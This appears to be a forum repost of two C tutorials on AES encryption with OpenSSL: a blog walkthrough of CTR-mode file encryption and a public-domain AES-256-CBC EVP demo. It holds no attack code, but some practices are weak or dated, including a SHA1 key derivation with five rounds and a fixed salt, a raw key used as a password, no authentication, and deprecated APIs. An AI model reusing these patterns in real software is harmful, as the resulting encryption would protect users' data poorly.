..............................................................................................................326 Download: http://directory.umm.ac.id/Networking%20Manual/Network%20Security%20With%20OpenSSL%202002.pdf
 - 
	AES CTR Encryption in C Posted on May 7, 2012 by Marty Encryption is one of the best tools at protecting data when it comes to computer security. There are many forms of encryption as well. One of the forms that I encountered recently in my work is AES CTR encryption. I am sure you have heard of AES encryption, but what exactly is AES CTR? AES CTR CTR is a counter mode for AES encryption. It is also known as ICM and SIC. In AES encryption you have what is called an Initializing Vector, or IV for short. This is a 128-bit input that is usually randomized. In CTR mode the IV has two parts. The first 8 bytes is the regular randomized IV. The last 8 bytes is a counter. This counter is a 0 index of the number of 128-bit blocks you are inside the encrypted information. For example. If you are encrypting 512 bits of information (64 bytes), the start position of 0 bytes into the information would have a counter of 0. 16 bytes in, you would have a counter of 1. 32 bytes in your counter would be up to 2. So on an so on until you are at the end if your information. Unlike normal AES encryption this encryption can be seek-able through the information. You don’t have to decrypt all of the bytes to get some information in the middle. The way encryption works in AES CTR mode is that we generate some random bits with the encryption key provided and the IV. With these random bits we then XOR them with our string. This creates a randomized text. To decrypt them we just simply XOR the text with the same exact random bits that we generated with the encryption key and the IV. Let’s look at this example. There is two people, person A and person B. They both share a random string of text that no one else has. Let’s have this random text be 10100011011011011. If person A wants to send person B a message all they have to do is to XOR their message with their random text. Let’s have person A’s message be 10011010101010100. If we XOR the message with the random text we get the following string. 00111001110001111 We then send this string to person B. If person B XORs the string with his random string he will get the original message from person A of 10011010101010100. Encrypting a file and decrypting a file are the same steps. The only differences in our code example would be during decryption we set the IV from the file. During encryption we generate the IV randomly. So everyone wants a code example right? What’s the point of knowing about the method without being able to implement it. For this example we will be using OpenSSL’s AES implementation in their cryptography library. Download the library: Windows For windows you can find the OpenSSL download link here: OpenSSL: OpenSSL Binary Distributions Linux If you’re using a debain based version of linux you can download the library with this command: “sudo apt-get install libssl-dev” OS X. You already have this library installed. It can be found in /usr/include/openss/ and /usr/bin/openssl/ The language that we will be using will be C. The code is not platform specific. We will be writing the code in Linux using a text editor and the GCC compiler. Demo: Encrypt/Decrypt files with OpenSSL AES CTR mode. Note: Code example uses partial code from: c - AES CTR 256 Encryption Mode of operation on OpenSSL - Stack Overflow Let’s start with our includes. We will need to include 4 files for this example. #include <openssl/aes.h> #include <openssl/rand.h> #include <stdio.h> #include <string.h> We will also need a structure to maintain our ivector, ecount, and num. struct ctr_state { unsigned char ivec[AES_BLOCK_SIZE]; unsigned int num; unsigned char ecount[AES_BLOCK_SIZE]; }; The Ivector is the only piece of information used by our program that we care about. Num and ecount are variables that we have to pass into our encryption function that we don’t ever need to care about. *Note AES_BLOCK_SIZE is defined to be the integer value of 16. This is the number of bytes in the 128-bit block for AES. We will also need two file types declared for encrypting and decrypting. FILE *readFile; FILE *writeFile; We will also need to set our encryption key. AES_KEY key; Some other inforation that we will need is to know how many bytes we read/wrote, the data that we read/wrote to the file, the IV that we read from the file, and our state for the encryption of a ctr_state struct. int bytes_read, bytes_written; unsigned char indata[AES_BLOCK_SIZE]; unsigned char outdata[AES_BLOCK_SIZE]; unsigned char iv[AES_BLOCK_SIZE]; struct ctr_state state; It is helpful to have a function which initializes the IV setting all the values to be 0 except the first 8 which will be the random input. int init_ctr(struct ctr_state *state, const unsigned char iv[16]) { /* aes_ctr128_encrypt requires 'num' and 'ecount' set to zero on the * first call. */ state->num = 0; memset(state->ecount, 0, AES_BLOCK_SIZE); /* Initialise counter in 'ivec' to 0 */ memset(state->ivec + 8, 0, 8); /* Copy IV into 'ivec' */ memcpy(state->ivec, iv, 8); } Let’s work on our encryption function. Our function can be described as this void fencrypt(char* read, char* write, const unsigned char* enc_key) { Read is the file name plus location that we are reading from to encrypt. Write is the file name plus location that we are writing the encrypted information to. enc_key is the encryption key used to encrypt the file. *Note, this must be 16 bytes long. This is the “password” to the file. The first thing we need to do is to create an IV with random bytes. OpenSSL library has a function to generate random bytes into an array. It is found in rand.h. if(!RAND_bytes(iv, AES_BLOCK_SIZE)) { fprintf(stderr, "Could not create random bytes."); exit(1); } Now we need to open our reading/writing files and make sure that they can be used. readFile = fopen(read,"rb"); // The b is required in windows. writeFile = fopen(write,"wb"); if(readFile==NULL) { fprintf(stderr, "Read file is null."); exit(1); } if(writeFile==NULL) { fprintf(stderr, "Write file is null."); exit(1); } Now that we have our file in place we need to write out our IV to the file. The IV is not suppose to be secure. Remember that only the first 8 bytes of the IV are even used in this mode of AES encryption. fwrite(iv, 1, 8, writeFile); // IV bytes 1 - 8 fwrite("", 1, 8, writeFile); // Fill the last 8 with null bytes 9 - 16 The next step is to set our encryption key. //Initializing the encryption KEY if (AES_set_encrypt_key(enc_key, 128, &key) < 0) { fprintf(stderr, "Could not set encryption key."); exit(1); } After we set our encryption key we need to initialize our state structure which holds our IV. init_ctr(&state, iv); //Counter call Now the fun part. We will go into a continuous loop reading from the file encrypting all the data and writing it out. while(1) { We then need to read 16 bytes from the file into our indata array. bytes_read = fread(indata, 1, AES_BLOCK_SIZE, readFile); After we read the bytes we then encrypt them using our AES_ctr128_encrypt function. This is the 128-bit encryption function found in aes.h. Indata is the data we read from the file. Outdata is our array to which the encrypted bytes will be placed. bytes_read is the number of bytes in the indata array to be encrypted. Key is the encryption key that was set using our 16 byte password. State.ivec is the IV used for encryption. The last two variables are not used by us so we don’t need to know about them at all. AES_ctr128_encrypt(indata, outdata, bytes_read, &key, state.ivec, state.ecount, &state.num); Now that we encrypted our data into outdata it’s time to write them to a file. bytes_written = fwrite(outdata, 1, bytes_read, writeFile); If we read less than our block size it probably means we are at the end of the file. We can stop encrypting now. if (bytes_read < AES_BLOCK_SIZE) { break; } } We now need to close our files to as they are no longer needed. fclose(writeFile); fclose(readFile); } So what changes in the decrypting function? Basically nothing. The only changes that we do is we set our IV to be the first 16 bytes in the input file. The rest of the code is the exact same. If you want a further example the code can be found here: http://www.gurutechnologies.net/uploads/martyj/aes_ctr_example.zip Compile via command line with the following command. “gcc main.c -lm -lcrypto -lssl” Sursa: AES CTR Encryption in C | Guru Technologies
 - 
	AES encryption/decryption demo program using OpenSSL EVP apis /** AES encryption/decryption demo program using OpenSSL EVP apis gcc -Wall openssl_aes.c -lcrypto this is public domain code. Saju Pillai (saju.pillai@gmail.com) **/ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <openssl/evp.h> /** * Create an 256 bit key and IV using the supplied key_data. salt can be added for taste. * Fills in the encryption and decryption ctx objects and returns 0 on success **/ int aes_init(unsigned char *key_data, int key_data_len, unsigned char *salt, EVP_CIPHER_CTX *e_ctx, EVP_CIPHER_CTX *d_ctx) { int i, nrounds = 5; unsigned char key[32], iv[32]; /* * Gen key & IV for AES 256 CBC mode. A SHA1 digest is used to hash the supplied key material. * nrounds is the number of times the we hash the material. More rounds are more secure but * slower. */ i = EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), salt, key_data, key_data_len, nrounds, key, iv); if (i != 32) { printf("Key size is %d bits - should be 256 bits\n", i); return -1; } EVP_CIPHER_CTX_init(e_ctx); EVP_EncryptInit_ex(e_ctx, EVP_aes_256_cbc(), NULL, key, iv); EVP_CIPHER_CTX_init(d_ctx); EVP_DecryptInit_ex(d_ctx, EVP_aes_256_cbc(), NULL, key, iv); return 0; } /* * Encrypt *len bytes of data * All data going in & out is considered binary (unsigned char[]) */ unsigned char *aes_encrypt(EVP_CIPHER_CTX *e, unsigned char *plaintext, int *len) { /* max ciphertext len for a n bytes of plaintext is n + AES_BLOCK_SIZE -1 bytes */ int c_len = *len + AES_BLOCK_SIZE, f_len = 0; unsigned char *ciphertext = malloc(c_len); /* allows reusing of 'e' for multiple encryption cycles */ EVP_EncryptInit_ex(e, NULL, NULL, NULL, NULL); /* update ciphertext, c_len is filled with the length of ciphertext generated, *len is the size of plaintext in bytes */ EVP_EncryptUpdate(e, ciphertext, &c_len, plaintext, *len); /* update ciphertext with the final remaining bytes */ EVP_EncryptFinal_ex(e, ciphertext+c_len, &f_len); *len = c_len + f_len; return ciphertext; } /* * Decrypt *len bytes of ciphertext */ unsigned char *aes_decrypt(EVP_CIPHER_CTX *e, unsigned char *ciphertext, int *len) { /* because we have padding ON, we must allocate an extra cipher block size of memory */ int p_len = *len, f_len = 0; unsigned char *plaintext = malloc(p_len + AES_BLOCK_SIZE); EVP_DecryptInit_ex(e, NULL, NULL, NULL, NULL); EVP_DecryptUpdate(e, plaintext, &p_len, ciphertext, *len); EVP_DecryptFinal_ex(e, plaintext+p_len, &f_len); *len = p_len + f_len; return plaintext; } int main(int argc, char **argv) { /* "opaque" encryption, decryption ctx structures that libcrypto uses to record status of enc/dec operations */ EVP_CIPHER_CTX en, de; /* 8 bytes to salt the key_data during key generation. This is an example of compiled in salt. We just read the bit pattern created by these two 4 byte integers on the stack as 64 bits of contigous salt material - ofcourse this only works if sizeof(int) >= 4 */ unsigned int salt[] = {12345, 54321}; unsigned char *key_data; int key_data_len, i; char *input[] = {"a", "abcd", "this is a test", "this is a bigger test", "\nWho are you ?\nI am the 'Doctor'.\n'Doctor' who ?\nPrecisely!", NULL}; /* the key_data is read from the argument list */ key_data = (unsigned char *)argv[1]; key_data_len = strlen(argv[1]); /* gen key and iv. init the cipher ctx object */ if (aes_init(key_data, key_data_len, (unsigned char *)&salt, &en, &de)) { printf("Couldn't initialize AES cipher\n"); return -1; } /* encrypt and decrypt each input string and compare with the original */ for (i = 0; input[i]; i++) { char *plaintext; unsigned char *ciphertext; int olen, len; /* The enc/dec functions deal with binary data and not C strings. strlen() will return length of the string without counting the '\0' string marker. We always pass in the marker byte to the encrypt/decrypt functions so that after decryption we end up with a legal C string */ olen = len = strlen(input[i])+1; ciphertext = aes_encrypt(&en, (unsigned char *)input[i], &len); plaintext = (char *)aes_decrypt(&de, ciphertext, &len); if (strncmp(plaintext, input[i], olen)) printf("FAIL: enc/dec failed for \"%s\"\n", input[i]); else printf("OK: enc/dec ok for \"%s\"\n", plaintext); free(ciphertext); free(plaintext); } EVP_CIPHER_CTX_cleanup(&en); EVP_CIPHER_CTX_cleanup(&de); return 0; } Sursa: http://saju.net.in/code/misc/openssl_aes.c.txt